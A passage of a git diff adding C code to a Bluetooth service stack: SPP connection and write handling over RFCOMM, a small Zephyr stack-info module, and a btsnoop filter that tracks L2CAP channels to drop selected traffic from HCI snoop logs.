scn:%d, uuid:%s", __func__, addr_str, scn, uuid_str); + + spp_conn_lock(); + + /* check connection exists */ + spp_conn = spp_find_connection_by_port(conn_port); + if (!spp_conn && (conn_port & 0x3F)) { + spp_conn = spp_find_connection_by_dlci(addr, PORT2DLCI(conn_port, 0)); + } + + if (spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection already exists for port %d", conn_port); + return BT_STATUS_BUSY; + } + + spp_conn_unlock(); + + /* create spp connection object */ + spp_conn = spp_connection_new((bt_address_t*)addr, conn_port, scn); + if (!spp_conn) { + BT_LOGE("Failed to allocate memory for SPP connection"); + return BT_STATUS_NOMEM; + } + + spp_client = zalloc(sizeof(sal_spp_client_t)); + if (!spp_client) { + spp_connection_free(spp_conn); + return BT_STATUS_NOMEM; + } + + spp_conn->spp_client = spp_client; + memcpy(&spp_conn->uuid, uuid, sizeof(bt_uuid_t)); + + status = bt_sal_profile_connect_request(&spp_conn->addr, PROFILE_SPP, spp_conn->conn_port, PRIMARY_ADAPTER, spp_connect_handler, spp_conn); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Failed to connect SPP, status: %d", status); + spp_connection_free(spp_conn); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t spp_disconnect_handler(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data) +{ + struct bt_rfcomm_dlc* rfcomm_dlc = (struct bt_rfcomm_dlc*)user_data; + sal_spp_connection_t* spp_conn; + int ret; + + BT_LOGD("%s, rfcomm_dlc: %p", __func__, rfcomm_dlc); + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlc(rfcomm_dlc); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection not found for rfcomm_dlc"); + return BT_STATUS_FAIL; + } + + spp_conn_unlock(); + + /* Disconnect the RFCOMM DLC */ + ret = bt_rfcomm_dlc_disconnect(&spp_conn->rfcomm_dlc); + if (ret < 0) { + BT_LOGE("Failed to disconnect RFCOMM DLC: %d", ret); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_spp_disconnect(uint16_t conn_port) +{ + sal_spp_connection_t* spp_conn; + + spp_conn_lock(); + spp_conn = spp_find_connection_by_port(conn_port); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("No SPP connection found for port %d", conn_port); + return BT_STATUS_PARM_INVALID; + } + + spp_conn_unlock(); + + return bt_sal_profile_disconnect_request(&spp_conn->addr, PROFILE_SPP, spp_conn->conn_port, PRIMARY_ADAPTER, spp_disconnect_handler, &spp_conn->rfcomm_dlc); +} + +bt_status_t bt_sal_spp_data_received_response(uint16_t conn_port, uint8_t* buf) +{ + sal_spp_connection_t* spp_conn; + bt_list_node_t* node; + + spp_conn_lock(); + + spp_conn = spp_find_connection_by_port(conn_port); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("No SPP connection found for port %d", conn_port); + return BT_STATUS_PARM_INVALID; + } + + node = bt_list_head(spp_conn->rx_list); + if (node) { + bt_list_remove_node(spp_conn->rx_list, node); + } + + spp_conn_unlock(); + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_spp_write(uint16_t conn_port, uint8_t* buf, uint16_t size) +{ + sal_spp_connection_t* spp_conn; + struct net_buf* nbuf = NULL; + sal_spp_buffer_t* spp_buf; + int ret; + + spp_conn_lock(); + spp_conn = spp_find_connection_by_port(conn_port); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("No SPP connection found for port %d", conn_port); + return BT_STATUS_PARM_INVALID; + } + + spp_conn_unlock(); + + nbuf = bt_rfcomm_create_pdu(&rfcomm_tx_pool); + net_buf_add_mem(nbuf, buf, size); + + ret = bt_rfcomm_dlc_send(&spp_conn->rfcomm_dlc, nbuf); + if (ret < 0) { + BT_LOGE("Failed to send data on RFCOMM DLC: %d", ret); + net_buf_unref(nbuf); + return BT_STATUS_FAIL; + } + + BT_DUMPBUFFER("SPP TX", buf, size); + + spp_buf = malloc(sizeof(sal_spp_buffer_t)); + if (!spp_buf) { + BT_LOGE("Failed to allocate memory for SPP buffer"); + net_buf_unref(nbuf); + return BT_STATUS_NOMEM; + } + + spp_buf->conn_port = conn_port; + spp_buf->buf = buf; + + spp_conn_lock(); + bt_list_add_tail(spp_conn->tx_list, spp_buf); + spp_conn_unlock(); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_spp_connect_request_reply(bt_address_t* addr, uint16_t port, bool accept) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_connection_t* spp_conn; + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlci(addr, PORT2DLCI(port, 1)); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("No SPP connection found for port %d", port); + return BT_STATUS_PARM_INVALID; + } + + if (!accept) { + bt_rfcomm_dlc_disconnect(&spp_conn->rfcomm_dlc); + bt_list_remove(spp_mgr->connections, spp_conn); + spp_conn_unlock(); + + BT_LOGD("SPP connection on port %d rejected", port); + return BT_STATUS_SUCCESS; + } + + spp_conn->conn_port = port; + spp_conn_unlock(); + + BT_LOGD("Accepting SPP connection on port %d", port); + return BT_STATUS_SUCCESS; +} diff --git a/service/stacks/zephyr/sal_zblue.c b/service/stacks/zephyr/sal_zblue.c new file mode 100644 index 0000000000000000000000000000000000000000..54d155ae2bf8307245bdba7f6da012d565d11abd --- /dev/null +++ b/service/stacks/zephyr/sal_zblue.c @@ -0,0 +1,44 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "sal_zblue" + +#include "sal_interface.h" +#include "sal_zblue.h" +#include "utils/log.h" + +void bt_sal_get_stack_info(bt_stack_info_t* info) +{ + snprintf(info->name, 32, "Zblue"); + info->stack_ver_major = 5; + info->stack_ver_minor = 4; + info->sal_ver = 2; +} + +bt_status_t bt_sal_get_remote_address(struct bt_conn* conn, bt_address_t* addr) +{ + struct bt_conn_info info; + + if (conn == NULL) + return BT_STATUS_FAIL; + + if (bt_conn_get_info(conn, &info) != 0) { + BT_LOGE("%s, failed to get address", __func__); + return BT_STATUS_FAIL; + } + + bt_addr_set(addr, info.br.dst->val); + return BT_STATUS_SUCCESS; +} diff --git a/service/utils/btsnoop_filter.c b/service/utils/btsnoop_filter.c new file mode 100644 index 0000000000000000000000000000000000000000..4508558b2dd6acc7d71db9bbdb635f3c897be123 --- /dev/null +++ b/service/utils/btsnoop_filter.c @@ -0,0 +1,640 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "snoop_filter" + +#include <stdlib.h> + +#include "utils/btsnoop_filter.h" +#include "utils/btsnoop_log.h" +#include "utils/log.h" + +typedef struct { + uint64_t filter_items; + bt_list_t* acl_connection_list; +} g_snoop_filter_global_t; + +static g_snoop_filter_global_t g_snoop_filter = { 0 }; + +#define L2CAP_NULL_IDENTIFIER_CID 0x0000 +#define L2CAP_SIGNALING_CHANNEL_CID 0x0001 +#define L2CAP_LE_SIGNALING_CHANNEL_CID 0x0005 +#define RFCOMM_DLCI0 0x00 /* MULTIPLEXER_CONTROL_CHANNEL */ + +#define GET_HCI_H4_PAYLOAD(h4_pkt) ((h4_pkt) + 1) +#define GET_HCI_H4_PAYLOAD_SIZE(h4_pkt_size) ((h4_pkt_size)-1) +#define GET_L2CAP_PACKET_PAYLOAD(hci_pkt) ((hci_pkt) + 8) +#define GET_L2CAP_PACKET_PAYLOAD_SIZE(hci_pkt_size) ((hci_pkt_size)-8) + +#define GET_HCI_TYPE(hci_pkt) ((hci_pkt)[0]) +#define GET_HCI_EVENT_CODE(hci_evt) ((hci_evt)[0]) +#define GET_ACL_CONNECTION_HANDLE_FROM_ACL_DATA(acl_data) (((uint16_t*)(acl_data))[0] & 0x0FFF) +#define GET_PB_FLAG_FROM_ACL_DATA(acl_data) (((acl_data)[1] >> 4) & 0x3) +#define GET_ACL_CONNECTION_HANDLE_FROM_CONNECT_COMPELTE_EVENT(hci_evt) (*(uint16_t*)(((uint8_t*)(hci_evt)) + 3)) +#define GET_STATUS_FROM_CONNECT_COMPELTE_EVENT(hci_evt) (((uint8_t*)(hci_evt))[2]) +#define GET_ACL_CONNECTION_HANDLE_FROM_DISCONNECT_COMPELTE_EVENT(hci_evt) (*(uint16_t*)(((uint8_t*)(hci_evt)) + 3)) +#define GET_STATUS_FROM_DISCONNECT_COMPELTE_EVENT(hci_evt) (((uint8_t*)(hci_evt))[2]) +#define GET_L2CAP_CID(acl_data) (*(uint16_t*)(((uint8_t*)(acl_data)) + 6)) +#define GET_L2CAP_COMMAND_CODE(l2cap_pdu) ((l2cap_pdu)[0]) +#define GET_L2CAP_CONNECTION_REQ_COMMAND_PSM(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 4)) +#define GET_L2CAP_CONNECTION_REQ_COMMAND_SCID(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 6)) +#define GET_L2CAP_CONNECTION_RSP_COMMAND_DCID(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 4)) +#define GET_L2CAP_CONNECTION_RSP_COMMAND_SCID(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 6)) +#define GET_L2CAP_CONNECTION_RSP_COMMAND_RESULT(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 8)) +#define GET_L2CAP_DISCONNECTION_RSP_COMMAND_DCID(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 4)) +#define GET_L2CAP_DISCONNECTION_RSP_COMMAND_SCID(l2cap_pdu) (*(uint16_t*)(((uint8_t*)(l2cap_pdu)) + 6)) +#define GET_RFCOMM_DLCI(l2cap_pdu) ((((uint8_t*)(l2cap_pdu))[4]) >> 2) + +#define GET_L2CAP_RSP_DERIVE_CIDS(pkt, is_receive, local_cid, peer_cid, get_scid, get_dcid) \ + do { \ + if (is_receive) { \ + local_cid = get_scid(pkt); \ + peer_cid = get_dcid(pkt); \ + } else { \ + local_cid = get_dcid(pkt); \ + peer_cid = get_scid(pkt); \ + response_cids_info.peer_cid = peer_cid; \ + } \ + BT_LOGD("%s, local_cid = 0x%04x, peer_cid = 0x%04x", __func__, local_cid, peer_cid); \ + } while (0) + +typedef struct { + uint16_t local_cid; + uint16_t peer_cid; +} btsnoop_l2cap_channel_cids_t; + +typedef struct { + uint16_t connection_handle; + btsnoop_l2cap_channel_cids_t avdtp_signal_ch; + btsnoop_l2cap_channel_cids_t rfcomm_ch; + btsnoop_l2cap_channel_cids_t prev_cids; + bt_list_t* filter_cids; + void* context; +} btsnoop_filter_acl_info_t; + +typedef struct { + btsnoop_l2cap_channel_cids_t cids; + uint16_t psm; + btsnoop_l2cap_state_t state; +} btsnoop_filter_l2cap_channel_info_t; + +typedef struct { + btsnoop_filter_acl_info_t* acl_info; + btsnoop_l2cap_channel_cids_t cids; + uint32_t pkt_size; + uint8_t* pkt; +} btsnoop_filter_l2cap_context_t; + +static void free_l2cap_cid_item(void* data) +{ + free(data); +} + +static btsnoop_filter_acl_info_t* malloc_acl_connection_item(uint16_t acl_connection_handle) +{ + btsnoop_filter_acl_info_t* item; + + item = zalloc(sizeof(btsnoop_filter_acl_info_t)); + if (NULL == item) { + return NULL; + } + + item->connection_handle = acl_connection_handle; + item->filter_cids = bt_list_new(free_l2cap_cid_item); + + if (NULL == item->filter_cids) { + free(item); + return NULL; + } + + return item; +} + +static void free_acl_connection_item(void* data) +{ + btsnoop_filter_acl_info_t* info = (btsnoop_filter_acl_info_t*)data; + + bt_list_free(info->filter_cids); + free(data); +} + +static bool compare_acl_connection_item(void* data, void* context) +{ + return ((btsnoop_filter_acl_info_t*)data)->connection_handle == *(uint16_t*)context; +} + +static btsnoop_filter_l2cap_channel_info_t* malloc_filter_cid_item(uint16_t local_cid, uint16_t peer_cid, uint16_t psm, btsnoop_l2cap_state_t state) +{ + btsnoop_filter_l2cap_channel_info_t* new_item; + + new_item = (btsnoop_filter_l2cap_channel_info_t*)zalloc(sizeof(btsnoop_filter_l2cap_channel_info_t)); + + if (NULL == new_item) + return NULL; + + new_item->cids.local_cid = local_cid; + new_item->cids.peer_cid = peer_cid; + new_item->psm = psm; + new_item->state = state; + return new_item; +} + +static bool compare_l2cap_local_and_remote_cid_item(void* data, void* context) +{ + btsnoop_filter_l2cap_channel_info_t* l2cap = (btsnoop_filter_l2cap_channel_info_t*)data; + btsnoop_l2cap_channel_cids_t* cids = (btsnoop_l2cap_channel_cids_t*)context; + + return (l2cap->cids.local_cid == cids->local_cid) && (l2cap->cids.peer_cid == cids->peer_cid); +} + +static bool compare_l2cap_local_or_remote_cid_item(void* data, void* context) +{ + btsnoop_filter_l2cap_channel_info_t* l2cap = (btsnoop_filter_l2cap_channel_info_t*)data; + btsnoop_l2cap_channel_cids_t* cids = (btsnoop_l2cap_channel_cids_t*)context; + + return (l2cap->cids.local_cid == cids->local_cid) || (l2cap->cids.peer_cid == cids->peer_cid); +} + +static bool handle_rfcomm_data(btsnoop_filter_l2cap_context_t* l2cap_context) +{ + if (!l2cap_context->pkt_size) + return false; /* keep abnormal data */ + + if (GET_RFCOMM_DLCI(l2cap_context->pkt) == RFCOMM_DLCI0) + return false; /* keep signaling message */ + + /* TODO: return false on unfiltered channels, e.g., HFP */ + + return true; +} + +static bool handle_l2cap_tx_data(void* data, void* context) +{ + btsnoop_filter_l2cap_channel_info_t* l2cap = (btsnoop_filter_l2cap_channel_info_t*)data; + btsnoop_filter_l2cap_context_t* l2cap_context = (btsnoop_filter_l2cap_context_t*)context; + + if (l2cap_context->cids.peer_cid == l2cap_context->acl_info->rfcomm_ch.peer_cid) + return handle_rfcomm_data(l2cap_context); + + return (l2cap->cids.peer_cid == l2cap_context->cids.peer_cid); +} + +static bool handle_l2cap_rx_data(void* data, void* context) +{ + btsnoop_filter_l2cap_channel_info_t* l2cap = (btsnoop_filter_l2cap_channel_info_t*)data; + btsnoop_filter_l2cap_context_t* l2cap_context = (btsnoop_filter_l2cap_context_t*)context; + + if (l2cap_context->cids.local_cid == l2cap_context->acl_info->rfcomm_ch.local_cid) + return handle_rfcomm_data(l2cap_context); + + return (l2cap->cids.local_cid == l2cap_context->cids.local_cid); +} + +static int handle_hci_command(uint8_t* pkt, uint32_t pkt_size) +{ + // TODO: handle_hci_command + return 0; +} + +static btsnoop_filter_flag_t handle_rfcomm_request(const btsnoop_filter_l2cap_context_t* l2cap_context) +{ + return BTSNOOP_FILTER_SPP; // TODO: BTSNOOP_FILTER_SPP | BTSNOOP_FILTER_HFP +} + +static bool check_channel_need_filtered(btsnoop_filter_acl_info_t* acl_info, uint16_t psm, uint16_t scid, uint8_t is_receive) +{ + assert(acl_info); + switch (psm) { + case BTSNOOP_PSM_AVDTP: + if ((acl_info->avdtp_signal_ch.peer_cid != L2CAP_NULL_IDENTIFIER_CID) + || (acl_info->avdtp_signal_ch.local_cid != L2CAP_NULL_IDENTIFIER_CID)) + return true; + + if (is_receive) + acl_info->avdtp_signal_ch.peer_cid = scid; + else + acl_info->avdtp_signal_ch.local_cid = scid; + + BT_LOGD("%s[%d], AVDTP signaling hannel recognized scid = {%d:%d}", __func__, __LINE__, + acl_info->avdtp_signal_ch.local_cid, acl_info->avdtp_signal_ch.peer_cid); + + break; + case BTSNOOP_PSM_RFCOMM: + if ((acl_info->rfcomm_ch.peer_cid != L2CAP_NULL_IDENTIFIER_CID) + || (acl_info->rfcomm_ch.local_cid != L2CAP_NULL_IDENTIFIER_CID)) { + BT_LOGE("%s, duplicated RFCOMM", __func__); + return false; // This shall never happens. + } + + if (is_receive) + acl_info->rfcomm_ch.peer_cid = scid; + else + acl_info->rfcomm_ch.local_cid = scid; + + BT_LOGD("%s[%d], RFCOMM channel recognized scid = {%d:%d}", __func__, __LINE__, + acl_info->rfcomm_ch.local_cid, acl_info->rfcomm_ch.peer_cid); + + return true; + default: + BT_LOGD("%s[%d], unrecognized psm: %d", __func__, __LINE__, psm); + break; + } + return false; +} + +static void handle_l2cap_connection_request(btsnoop_filter_acl_info_t* acl_info, uint8_t is_receive, + const btsnoop_filter_l2cap_context_t* l2cap_context) +{ + assert(acl_info); + uint16_t psm, scid; + btsnoop_filter_flag_t filter_flag = BTSNOOP_FILTER_MAX; + btsnoop_filter_l2cap_channel_info_t* data = NULL; + + psm = GET_L2CAP_CONNECTION_REQ_COMMAND_PSM(l2cap_context->pkt); + + switch (psm) { + case BTSNOOP_PSM_RFCOMM: + filter_flag = handle_rfcomm_request(l2cap_context); + break; + case BTSNOOP_PSM_AVDTP: + filter_flag = BTSNOOP_FILTER_A2DP_AUDIO; + break; + case BTSNOOP_PSM_AVCTP_BROWSING: + filter_flag = BTSNOOP_FILTER_AVCTP_BROWSING; + break; + case BTSNOOP_PSM_ATT: + filter_flag = BTSNOOP_FILTER_ATT; + break; + default: + break; + } + + if (!(g_snoop_filter.filter_items & (1ULL << filter_flag))) { + return; + } + + scid = GET_L2CAP_CONNECTION_REQ_COMMAND_SCID(l2cap_context->pkt); + + if (!check_channel_need_filtered(acl_info, psm, scid, is_receive)) { + return; + } + + if (is_receive) { + data = malloc_filter_cid_item(L2CAP_NULL_IDENTIFIER_CID, scid, psm, BTSNOOP_L2CAP_STATE_CONNECTING); + } else { + data = malloc_filter_cid_item(scid, L2CAP_NULL_IDENTIFIER_CID, psm, BTSNOOP_L2CAP_STATE_CONNECTING); + } + + if (NULL == data) { + BT_LOGE("malloc filter cid item failed!"); + return; + } + + BT_LOGD("%s, psm %d added to snoop filter", __func__, psm); + + bt_list_add_tail(acl_info->filter_cids, data); +} + +static void handle_acl_info_connection_response(btsnoop_filter_acl_info_t* acl_info, uint16_t local_cid, uint16_t peer_cid) +{ + assert(acl_info); + if (acl_info->avdtp_signal_ch.local_cid == local_cid) { + acl_info->avdtp_signal_ch.peer_cid = peer_cid; + } else if (acl_info->avdtp_signal_ch.peer_cid == peer_cid) { + acl_info->avdtp_signal_ch.local_cid = local_cid; + } else if (acl_info->rfcomm_ch.local_cid == local_cid) { + acl_info->rfcomm_ch.peer_cid = peer_cid; + } else if (acl_info->rfcomm_ch.peer_cid == peer_cid) { + acl_info->rfcomm_ch.local_cid = local_cid; + } +} + +static void handle_l2cap_connection_response(btsnoop_filter_acl_info_t* acl_info, uint8_t is_receive, + const btsnoop_filter_l2cap_context_t* l2cap_context) +{ + assert(acl_info); + uint16_t result, local_cid, peer_cid; + btsnoop_filter_l2cap_channel_info_t* channel_info = NULL; + btsnoop_l2cap_channel_cids_t response_cids_info = { 0 }; + + GET_L2CAP_RSP_DERIVE_CIDS(l2cap_context->pkt, is_receive, local_cid, peer_cid, + GET_L2CAP_CONNECTION_RSP_COMMAND_SCID, GET_L2CAP_CONNECTION_RSP_COMMAND_DCID); + + if (is_receive) { + response_cids_info.local_cid = local_cid; + } else { + response_cids_info.peer_cid = peer_cid; + } + + result = GET_L2CAP_CONNECTION_RSP_COMMAND_RESULT(l2cap_context->pkt); + + switch (result) { + case BTSNOOP_L2CAP_RSP_RESULT_SUCCESSFUL: + handle_acl_info_connection_response(acl_info, local_cid, peer_cid); + channel_info = bt_list_find(acl_info->filter_cids, compare_l2cap_local_and_remote_cid_item, &response_cids_info); + if (NULL == channel_info) + return; + + if (is_receive) { + channel_info->cids.peer_cid = peer_cid; + } else { + channel_info->cids.local_cid = local_cid; + } + + channel_info->state = BTSNOOP_L2CAP_STATE_CONNECTED; + break; + case BTSNOOP_L2CAP_RSP_RESULT_PENDING: + break; + default: + channel_info = bt_list_find(acl_info->filter_cids, compare_l2cap_local_and_remote_cid_item, &response_cids_info); + if (NULL == channel_info) + return; + + bt_list_remove(acl_info->filter_cids, channel_info); + break; + } +} + +static void handle_acl_info_disconnection_response(btsnoop_filter_acl_info_t* acl_info, uint16_t local_cid, uint16_t peer_cid) +{ + assert(acl_info); + if ((acl_info->avdtp_signal_ch.local_cid == local_cid) && (acl_info->avdtp_signal_ch.peer_cid == peer_cid)) { + acl_info->avdtp_signal_ch.peer_cid = L2CAP_NULL_IDENTIFIER_CID; + acl_info->avdtp_signal_ch.local_cid = L2CAP_NULL_IDENTIFIER_CID; + } else if ((acl_info->rfcomm_ch.local_cid == local_cid) && (acl_info->rfcomm_ch.peer_cid == peer_cid)) { + acl_info->rfcomm_ch.peer_cid = L2CAP_NULL_IDENTIFIER_CID; + acl_info->rfcomm_ch.local_cid = L2CAP_NULL_IDENTIFIER_CID; + } +} + +static void handle_l2cap_disconnection_response(btsnoop_filter_acl_info_t* acl_info, uint8_t is_receive, + const btsnoop_filter_l2cap_context_t* l2cap_context) +{ + assert(acl_info); + uint16_t local_cid, peer_cid; + btsnoop_filter_l2cap_channel_info_t* channel_info = NULL; + btsnoop_l2cap_channel_cids_t response_cids_info = { 0 }; + + GET_L2CAP_RSP_DERIVE_CIDS(l2cap_context->pkt, is_receive, local_cid, peer_cid, + GET_L2CAP_DISCONNECTION_RSP_COMMAND_SCID, GET_L2CAP_DISCONNECTION_RSP_COMMAND_DCID); + response_cids_info.local_cid = local_cid; + response_cids_info.peer_cid = peer_cid; + channel_info = bt_list_find(acl_info->filter_cids, compare_l2cap_local_or_remote_cid_item, &response_cids_info); + + handle_acl_info_disconnection_response(acl_info, local_cid, peer_cid); + + if (!channel_info) + return; + + BT_LOGD("%s, psm %d removed from snoop filter", __func__, channel_info->psm); + + bt_list_remove(acl_info->filter_cids, channel_info); +} + +static bool handle_l2cap_signaling_channel_data(btsnoop_filter_acl_info_t* acl_info, + uint8_t is_receive, const btsnoop_filter_l2cap_context_t* l2cap_context) +{ + assert(acl_info); + + if (!l2cap_context->pkt_size) + return false; + + switch (GET_L2CAP_COMMAND_CODE(l2cap_context->pkt)) { + case BTSNOOP_L2CAP_CODE_CONNECTION_REQUEST: + handle_l2cap_connection_request(acl_info, is_receive, l2cap_context); + break; + case BTSNOOP_L2CAP_CODE_CONNECTION_RESPONSE: + handle_l2cap_connection_response(acl_info, is_receive, l2cap_context); + break; + case BTSNOOP_L2CAP_CODE_DISCONNECTION_RESPONSE: + handle_l2cap_disconnection_response(acl_info, is_receive, l2cap_context); + break; + default: + break; + } + + return false; /* keep all signaling data */ +} + +static bool handle_acl_data(uint8_t is_receive, uint8_t* pkt, uint32_t pkt_size) +{ + btsnoop_filter_l2cap_context_t l2cap_context = { 0 }; + uint16_t connection_handle; + btsnoop_filter_acl_info_t* acl_info; + uint8_t* l2cap_packet; + uint32_t l2cap_pkt_size; + uint8_t pb_flag; + + l2cap_packet = GET_L2CAP_PACKET_PAYLOAD(pkt); + l2cap_pkt_size = GET_L2CAP_PACKET_PAYLOAD_SIZE(pkt_size); + connection_handle = GET_ACL_CONNECTION_HANDLE_FROM_ACL_DATA(pkt); + acl_info = bt_list_find(g_snoop_filter.acl_connection_list, compare_acl_connection_item, &connection_handle); + + if (NULL == acl_info) { + BT_LOGE("The acl connection information does not exist."); + return true; /* remove unrecognized data to avoid flood issue */ + } + + pb_flag = GET_PB_FLAG_FROM_ACL_DATA(pkt); + if (pb_flag == BTSNOOP_ACL_PB_CONTINUING) { + l2cap_context.cids.local_cid = acl_info->prev_cids.local_cid; + l2cap_context.cids.peer_cid = acl_info->prev_cids.peer_cid; + } else { + if (is_receive) + acl_info->prev_cids.local_cid = l2cap_context.cids.local_cid = GET_L2CAP_CID(pkt); + else + acl_info->prev_cids.peer_cid = l2cap_context.cids.peer_cid = GET_L2CAP_CID(pkt); + } + l2cap_context.acl_info = acl_info; + l2cap_context.pkt = l2cap_packet; + l2cap_context.pkt_size = l2cap_pkt_size; + + if (is_receive) { + if ((l2cap_context.cids.local_cid == L2CAP_SIGNALING_CHANNEL_CID) + || (l2cap_context.cids.local_cid == L2CAP_LE_SIGNALING_CHANNEL_CID)) { + return handle_l2cap_signaling_channel_data(acl_info, is_receive, &l2cap_context); + } + + if (NULL != bt_list_find(acl_info->filter_cids, handle_l2cap_rx_data, &l2cap_context)) { + return true; + } + } else { + if ((l2cap_context.cids.peer_cid == L2CAP_SIGNALING_CHANNEL_CID) + || (l2cap_context.cids.peer_cid == L2CAP_LE_SIGNALING_CHANNEL_CID)) { + return handle_l2cap_signaling_channel_data(acl_info, is_receive, &l2cap_context); + } + + if (NULL != bt_list_find(acl_info->filter_cids, handle_l2cap_tx_data, &l2cap_context)) { + return true; + } + } + + return false; +} + +static int handle_sco_data(uint8_t* pkt, uint32_t pkt_size) +{ + return 1; +} + +static void handle_hci_event_connect_complete(uint8_t* pkt, uint32_t pkt_size) +{ + uint16_t connection_handle; + btsnoop_filter_acl_info_t* acl_info; + + if (GET_STATUS_FROM_CONNECT_COMPELTE_EVENT(pkt) != BTSNOOP_HCI_EVENT_STATUS_SUCCESS) { + return; + } + + connection_handle = GET_ACL_CONNECTION_HANDLE_FROM_CONNECT_COMPELTE_EVENT(pkt); + if (NULL == g_snoop_filter.acl_connection_list) { + BT_LOGE("The BTsnoop filter is not initialized."); + return; + } + + if (NULL != bt_list_find(g_snoop_filter.acl_connection_list, compare_acl_connection_item, &connection_handle)) { + BT_LOGE("The acl connection information already exists."); + return; + } + + if (NULL == (acl_info = malloc_acl_connection_item(connection_handle))) { + BT_LOGE("malloc acl connection item failed."); + return; + } + + bt_list_add_tail(g_snoop_filter.acl_connection_list, acl_info); + + return; +} + +static void handle_hci_event_disconnect_complete(uint8_t* pkt, uint32_t pkt_size) +{ + btsnoop_filter_acl_info_t* acl_info; + uint16_t connection_handle; + + if (GET_STATUS_FROM_DISCONNECT_COMPELTE_EVENT(pkt) != BTSNOOP_HCI_EVENT_STATUS_SUCCESS) { + return; + } + + connection_handle = GET_ACL_CONNECTION_HANDLE_FROM_DISCONNECT_COMPELTE_EVENT(pkt); + acl_info = (btsnoop_filter_acl_info_t*)bt_list_find(g_snoop_filter.acl_connection_list, compare_acl_connection_item, &connection_handle); + + if (NULL == acl_info) { + BT_LOGE("The acl connection information does not exist!"); + return; + } + + bt_list_remove(g_snoop_filter.acl_connection_list, acl_info); + + return; +} + +static bool handle_hci_event(uint8_t* pkt, uint32_t pkt_size) +{ + uint16_t event_code = GET_HCI_EVENT_CODE(pkt); + + switch (event_code) { + case BTSNOOP_CONNECT_COMPLETE: + handle_hci_event_connect_complete(pkt, pkt_size); + break; + case BTSNOOP_DISCONNECT_COMPLETE: + handle_hci_event_disconnect_complete(pkt, pkt_size); + break; + case BTSNOOP_NUMBER_OF_COMPLETED_PACKETS: + if (g_snoop_filter.filter_items & (1ULL << BTSNOOP_FILTER_NOCP)) + return true; + + break; + default: + break; + } + + return false; +} + +static int handle_iso_data(uint8_t* hci_pkt, uint32_t hci_pkt_size) +{ + return 1; +} + +bool filter_can_filter(uint8_t is_receive, uint8_t* hci_pkt, uint32_t hci_pkt_size) +{ + uint8_t* pkt_data; + uint32_t pkt_size; + uint8_t hci_type; + + hci_type = GET_HCI_TYPE(hci_pkt); + pkt_data = GET_HCI_H4_PAYLOAD(hci_pkt); + pkt_size = GET_HCI_H4_PAYLOAD_SIZE(hci_pkt_size); + + switch (hci_type) { + case BTSNOOP_HCI_TYPE_HCI_COMMAND: + return handle_hci_command(pkt_data, pkt_size); + case BTSNOOP_HCI_TYPE_ACL_DATA: + return handle_acl_data(is_receive, pkt_data, pkt_size); + case BTSNOOP_HCI_TYPE_SCO_DATA: + return handle_sco_data(pkt_data, pkt_size); + case BTSNOOP_HCI_TYPE_HCI_EVENT: + return handle_hci_event(pkt_data, pkt_size); + case BTSNOOP_HCI_TYPE_ISO_DATA: + return handle_iso_data(pkt_data, pkt_size); + default: + return 0; + } + + return 0; +} + +int filter_init() +{ + g_snoop_filter.acl_connection_list = bt_list_new(free_acl_connection_item); + + if (NULL == g_snoop_filter.acl_connection_list) + return BT_STATUS_NOMEM; + + return BT_STATUS_SUCCESS; +} + +void filter_uninit() +{ + bt_list_free(g_snoop_filter.acl_connection_list); + g_snoop_filter.acl_connection_list = NULL; +} + +int filter_set_filter_flag(btsnoop_filter_flag_t filter_flag) +{ + if (filter_flag < 0 || filter_flag >= BTSNOOP_FILTER_MAX) { + return BT_STATUS_PARM_INVALID; + } + + g_snoop_filter.filter_items |= 1ULL << filter_flag; + + BT_LOGD("%s, filter_items = 0x%" PRIu64, __func__, g_snoop_filter.filter_items); + + return BT_STATUS_SUCCESS; +} + +int filter_remove_filter_flag(btsnoop_filter_flag_t filter_flag) +{ + if (filter_flag < 0 || filter_flag >= BTSNOOP_FILTER_MAX) { + return BT_STATUS_PARM_INVALID; + } + + g_snoop_filter.filter_items &= ~(1ULL << filter_flag); + + BT_LOGD("%s, filter_items = 0x%" PRIu64, __func__, g_snoop_filter.filter_items); + + return BT_STATUS_SUCCESS; +} \ No newline at end of file diff --git a/service/utils/btsnoop_filter.h b/service/utils/btsnoop_filter.h new file mode 100644 index 